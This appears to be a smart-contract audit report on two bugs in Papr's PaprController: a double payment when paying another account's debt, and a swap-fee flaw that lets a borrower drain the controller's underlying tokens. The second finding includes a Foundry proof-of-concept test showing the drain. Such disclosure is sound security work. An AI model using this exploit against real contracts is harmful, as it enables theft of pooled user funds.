Papr contest - evan's results

Lines of code

https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L208-L232

Vulnerability details

Impact

If msg.sender chooses to pay for some other account's debt, then he has to pay double.

Proof of Concept

https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L222 https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L253 msg.sender first has to pay the underlying tokens

https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L217 the paprToken from the swap goes to account

https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L229 controller then burns the papr tokens from msg.sender

Tools Used

VSCode

Recommended Mitigation Steps

Noticed this last minute so haven't thought too much about it. But I think either msg.sender should receive the papr tokens from the swap, or the controller should burn the papr tokens from account

Lines of code

https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L208-L232

Vulnerability details

Impact

https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L225-L227 The best case scenario is that the paprController doesn't have any underlying tokens, in which case, buyAndReduceDebt won't work when there is a swapFee. Otherwise, paprController ends up paying for the swapFee. Even if there isn't a swap fee, the user can set an arbitrary swapFeeBips and send it to himself as the swapFeeTo.

Proof of Concept

Consider the following test. Before the borrower calls buyAndReduceDebt, the controller has an underlying balance of 1e10. After the borrower calls buyAndReduceDebt, its underlying balance decreases, which should not happen.

pragma solidity ^0.8.17;

import {TickMath} from "fullrange/libraries/TickMath.sol";

import {BasePaprControllerTest} from "./BasePaprController.ft.sol";
import {IPaprController} from "../../src/interfaces/IPaprController.sol";
import {PaprController} from "../../src/PaprController.sol";
import {UniswapHelpers} from "../../src/libraries/UniswapHelpers.sol";

contract BuyAndReduceDebtVuln is BasePaprControllerTest {
    function testBuyAndReduceDebtReducesDebt() public {
        vm.startPrank(borrower);
        nft.approve(address(controller), collateralId);
        IPaprController.Collateral[] memory c = new IPaprController.Collateral[](1);
        c[0] = collateral;
        controller.addCollateral(c);
        IPaprController.SwapParams memory swapParams = IPaprController.SwapParams({
            amount: debt,
            minOut: 982507,
            sqrtPriceLimitX96: _maxSqrtPriceLimit({sellingPAPR: true}),
            swapFeeTo: address(0),
            swapFeeBips: 0
        });
        uint256 underlyingOut = controller.increaseDebtAndSell(borrower, collateral.addr, swapParams, oracleInfo);
        IPaprController.VaultInfo memory vaultInfo = controller.vaultInfo(borrower, collateral.addr);
        assertEq(vaultInfo.debt, debt);
        // assertEq(underlyingOut - underlyingOut*10/10000, underlying.balanceOf(borrower));

        underlying.mint(address(controller), 1e10);
        assertEq(underlying.balanceOf(address(controller)), 1e10);

        uint256 fee = 10;
        underlying.approve(address(controller), underlyingOut + underlyingOut * fee / 1e4);
        swapParams = IPaprController.SwapParams({
            amount: underlyingOut,
            minOut: 1,
            sqrtPriceLimitX96: _maxSqrtPriceLimit({sellingPAPR: false}),
            swapFeeTo: address(88),
            swapFeeBips: fee
        });
        uint256 debtPaid = controller.buyAndReduceDebt(borrower, collateral.addr, swapParams);
        assertGt(debtPaid, 0);
        vaultInfo = controller.vaultInfo(borrower, collateral.addr);
        assertEq(vaultInfo.debt, debt - debtPaid);
        assertEq(underlying.balanceOf(swapParams.swapFeeTo), fee*underlyingOut/1e4);
        assertTrue(underlying.balanceOf(address(controller)) < 1e10);
    }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

I found this pretty much last minute so I haven't had too much thought about it. One potential solution is to do underlying.safeTransferFrom(msg.sender, params.swapFeeTo, amountIn * params.swapFeeBips / BIPS_ONE);

The BuyAndReduceDebt test should also be modified to use a non-zero fee. https://github.com/with-backed/papr/blob/master/test/paprController/BuyAndReduceDebt.t.sol#L29 As is, if this fee is set to a non-zero value, then this test will fail. Consider this as a secondary proof of concept.